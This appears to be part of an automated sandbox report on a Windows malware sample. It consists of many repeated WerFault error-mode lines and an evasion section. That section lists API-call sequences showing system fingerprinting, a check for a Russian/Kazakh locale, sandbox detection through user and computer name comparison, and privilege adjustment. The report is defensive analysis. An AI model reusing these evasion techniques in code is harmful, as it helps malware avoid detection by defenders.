    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX

    Malware Analysis System Evasion

    barindex
    Contains functionality to behave differently if execute on a Russian/Kazak computer
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026F4B00 PathAddBackslashA,CreateFileA,SetFilePointer,SetFilePointer,LockFile,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetModuleFileNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetUserNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetEnvironmentVariableA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemDefaultLangID,memset,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDateFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeZoneInformation,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemWindowsDirectoryA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,#680,#680,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, mov dword ptr [ebp-20h], 00000419h 5_2_026F4B00
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B14B00 PathAddBackslashA,CreateFileA,SetFilePointer,SetFilePointer,LockFile,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetModuleFileNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetUserNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetEnvironmentVariableA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemDefaultLangID,memset,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDateFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeZoneInformation,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemWindowsDirectoryA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,#680,#680,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, mov dword ptr [ebp-20h], 00000419h 6_2_00B14B00
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026A4B00 PathAddBackslashA,CreateFileA,SetFilePointer,SetFilePointer,LockFile,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetModuleFileNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetUserNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetEnvironmentVariableA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemDefaultLangID,memset,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDateFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeZoneInformation,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemWindowsDirectoryA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,#680,#680,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, mov dword ptr [ebp-20h], 00000419h 9_2_026A4B00
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022C4B00 PathAddBackslashA,CreateFileA,SetFilePointer,SetFilePointer,LockFile,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetModuleFileNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetUserNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetEnvironmentVariableA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemDefaultLangID,memset,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDateFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeZoneInformation,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemWindowsDirectoryA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,#680,#680,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, mov dword ptr [ebp-20h], 00000419h 13_2_022C4B00
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010A4B00 PathAddBackslashA,CreateFileA,SetFilePointer,SetFilePointer,LockFile,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetModuleFileNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetUserNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetEnvironmentVariableA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemDefaultLangID,memset,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDateFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeZoneInformation,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemWindowsDirectoryA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,#680,#680,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, mov dword ptr [ebp-20h], 00000419h 16_2_010A4B00
    Contains functionality to compare user and computer (likely to detect sandboxes)
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: RegOpenKeyExA,RegQueryValueExA,RegCloseKey,RegCloseKey,GetUserNameA,CharUpperA,strstr,strstr,strstr,strstr,GetSystemWindowsDirectoryA,GetVolumeInformationA,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,0_2_00403A20
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: EntryPoint,LoadLibraryA,GetModuleFileNameA,ExitProcess,FindWindowA,GetTickCount,PostMessageA,IsUserAnAdmin,IsUserAnAdmin,ExitProcess,ExitProcess,IsUserAnAdmin,GetModuleHandleA,GetProcAddress,GetCurrentProcess,StrStrIA,GetCurrentProcessId,Sleep,StrStrIA,GlobalFindAtomA,GlobalAddAtomA,IsUserAnAdmin,RtlAdjustPrivilege,IsUserAnAdmin,GlobalFindAtomA,GlobalAddAtomA,IsUserAnAdmin,RtlAdjustPrivilege,IsUserAnAdmin,ExitProcess,0_2_00402D30
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,5_2_02706CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,StrStrIA,5_2_02712B40
